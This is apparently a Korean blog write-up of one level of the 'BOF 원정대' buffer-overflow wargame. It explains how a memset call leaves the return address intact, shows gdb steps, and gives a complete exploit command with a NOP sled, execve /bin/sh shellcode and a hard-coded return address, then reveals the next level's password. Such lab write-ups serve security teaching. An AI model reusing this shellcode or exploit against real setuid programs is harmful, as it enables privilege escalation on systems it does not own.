1. 취약점
그 전의 문제와 똑같은데 마지막에 memset을 통해서 버퍼를 메모리를 초기화하는 과정이 있다.
buffer[0]~ buffer[39]까지 0으로 초기화 시킨다는 건데 내가 바꾸고자하는 영역인 Return Address는 건들지 않을 것으로 예상되므로 얘도 무시하고 넘어가보자.
2. Exploit
1. bash2를 사용하고 wolfman.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다
$ bash2
$ cp wolfman.c /tmp/wolfman.c && cd /tmp
2. gcc로 컴파일을 한다.
$ gcc -g -o wolfman wolfman.c
3. gdb로 디버깅을 시작한다.
$ gdb -q ./wolfman
4. 어셈블리로 취약점이 있는 코드를 보자
(gdb) disas main
memset이후의 내가 변경한 Return Address도 영향을 끼치는지 확인하기 위해
memset부분을 중단점으로 한다.
5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..
(gdb) b *main+227
(gdb) r `perl -e 'print "A"x 44, "\xbf"x4'` `perl -e 'print "B"x61'`
(gdb) x/150x $esp
r `perl -e 'print "A"x 44, "/xbf"x4'` `perl -e 'print "B"x61'`
memset 이후의 결과를 볼려면 if문을 통과해야하므로 \xbf도 추가한다 memset의 영향이 끼치면 뒤의 \xbf도 0으로 채워 질 것이다.
역시 앞의 40개만 변경되고 뒤에 8바이트는 변경되지 않는걸 확인하였다
평소처럼 공격하면 똑같은 결과를 안겨다 줄 것이다.
혹시나 싶어서 argv[1]부분도 점검해보니 클리어 되지 않았다.
Return Address는 0xbffffc38로 정했닷
6. 쉘코드를 만들거나 웹에서 주어온다♥
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
memset의 결과로 buffer의 앞 쪽 40byte는 0으로 변경되었다. 하지만 그 후의 주소에 저장된 값은 그대로 유지되므로 영향력이 없다.
7. 괴.. 괴롭혀 주겠다...
(gdb) q
$ cd ~
$ ./wolfman `perl -e 'print "A"x44, "\x38\xfc\xff\xbf"'` `perl -e 'print "\x90"x20, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
8. 결과
id : wolfman passwd : love eyuna
'Computer Science > BOF 원정대' 카테고리의 다른 글
[버퍼 오버플로우] Bof 원정대 (darkelf -> orge) (0) | 2016.10.07 |
---|---|
[버퍼 오버플로우] Bof 원정대 (wolfman -> darkelf) (0) | 2016.10.07 |
[버퍼 오버플로우] Bof 원정대 (goblin -> orc) (0) | 2016.10.07 |
[버퍼 오버플로우] Bof 원정대 (cobolt -> goblin) (0) | 2016.10.04 |
[버퍼 오버플로우] Bof 원정대 (gremlin -> cobolt) (0) | 2016.10.03 |